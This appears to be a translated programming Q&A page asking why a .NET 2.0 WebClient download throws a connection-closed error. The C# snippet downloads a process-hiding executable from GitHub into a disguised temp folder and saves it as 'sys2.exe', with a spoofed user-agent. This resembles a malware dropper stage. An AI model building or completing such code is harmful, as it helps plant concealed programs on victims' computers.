首页 > 解决方案 > WebClient 异常底层连接已关闭:发送时发生意外错误 | .NET 2.0

问题描述

我正在编写一个新项目,我正在制作一个 webClient,将文件下载到磁盘我的代码是


string Temp = Path.GetTempPath();
        Directory.CreateDirectory(Temp + "\\RE1port.CC0866C1-44DA-4B60-9556-C7C70E5066E12");
        WebClient Client = new WebClient();
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Ssl3;
         Client.Headers.Add("user-agent", "Mozilla");
        Client.DownloadFile(new Uri("https://github.com/MohammedZr/enchantress/blob/master/MrO_bscure/ProcessHide64.exe?raw=true"), Temp + "\\RE1port.CC0866C1-44DA-4B60-9556-C7C70E5066E12" + "\\sys2.exe");

标签: c#.netwebclient

解决方案


推荐阅读